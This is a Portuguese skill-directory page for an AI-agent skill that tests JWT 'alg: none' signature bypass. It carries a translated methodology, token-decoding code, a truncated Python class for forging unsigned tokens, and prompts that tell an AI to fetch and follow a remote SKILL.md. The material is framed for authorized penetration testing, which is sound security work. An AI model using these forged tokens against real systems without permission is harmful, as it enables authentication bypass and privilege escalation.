Pular para o conteúdo
Skillpedia
Testes35 mil · #6087

performing-jwt-none-algorithm-attack

Faz seu agente testar ataques de 'algoritmo none' em JWT para contornar a verificação de assinatura.

O que ela faz

Este ataque tenta burlar a segurança de sistemas que usam tokens JWT para autenticação. Ele envia um token modificado que diz para o sistema ignorar a verificação de assinatura, permitindo que um invasor altere informações no token.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo que usa JWT.
  • ✓Quando você suspeita que a verificação de assinatura do JWT pode estar falhando.
  • ✓Em testes de penetração autorizados para encontrar vulnerabilidades.

Exemplo do que pedir para a IA

“Tente enviar um token JWT com o algoritmo 'none' para ver se o sistema o aceita sem assinatura.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-jwt-none-algorithm-attack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

O ataque funciona explorando bibliotecas de JWT que aceitam um cabeçalho especial ('alg': 'none'). Isso faz com que o sistema pule a verificação da assinatura do token, permitindo que ele seja alterado.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-jwt-none-algorithm-attack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Ataque de Algoritmo JWT None

Visão Geral

O ataque de algoritmo JWT none explora uma vulnerabilidade em bibliotecas JSON Web Token que aceitam tokens com o cabeçalho alg definido como none, contornando efetivamente a verificação de assinatura. Quando um servidor processa um JWT com "alg": "none", ele trata o token como válido sem verificar nenhuma assinatura criptográfica, permitindo que atacantes forjem tokens com reivindicações arbitrárias, como privilégios escalados, usuários impersonados ou tempos de expiração estendidos. Essa vulnerabilidade foi divulgada pela primeira vez por Tim McLean em 2015 e afetou várias bibliotecas JWT em diferentes linguagens.

Quando Usar

  • Ao realizar avaliações de segurança que envolvam a execução do ataque de algoritmo jwt none
  • Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
  • Ao realizar testes de segurança ou atividades de auditoria agendadas
  • Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

  • Aplicação alvo usando JWT para autenticação ou autorização
  • Capacidade de interceptar e modificar requisições HTTP (Burp Suite, mitmproxy)
  • Python 3.8+ com a biblioteca PyJWT para criação de tokens
  • Compreensão da estrutura JWT (Header.Payload.Signature)
  • Autorização para realizar testes de segurança no alvo

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.

Estrutura JWT

Um JWT é composto por três partes codificadas em Base64URL separadas por pontos:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Metodologia de Ataque

Passo 1: Capturar um JWT Válido

Intercepte um JWT legítimo da aplicação alvo usando Burp Suite ou as ferramentas de desenvolvedor do navegador:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Passo 2: Decodificar e Analisar o Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Passo 3: Criar um Token Forjado com Algoritmo None

#!/usr/bin/env python3
"""Ferramenta de Ataque JWT None Algorithm

Cria tokens JWT com o algoritmo 'none' para testar vulnerabilidades de bypass
na verificação de assinatura.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # Todas as variações conhecidas do valor do algoritmo 'none'
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Codifica em Base64URL sem preenchimento."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Decodifica em Base64URL com restauração de preenchimento."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decodifica o cabeçalho e a carga útil do JWT."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Cria um JWT com o algoritmo none e carga útil modificada."""
        # Cria o cabeçalho com o algoritmo none

…
Perguntas frequentes

O que é JWT?

JWT (JSON Web Token) é uma forma padronizada de enviar informações de forma segura entre partes, geralmente usada para autenticação e autorização em aplicações web.

O que é o ataque 'none algorithm'?

É um ataque que explora uma falha onde o sistema aceita um token JWT mesmo sem uma assinatura válida, desde que o cabeçalho do token especifique o algoritmo 'none'.

Quais são os pré-requisitos para realizar este ataque?

É preciso ter autorização para testar o sistema, a capacidade de interceptar e modificar requisições (como com Burp Suite ou mitmproxy) e entender a estrutura básica de um JWT.

Detalhes

Descrição original do autor

Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite/mitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6087
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas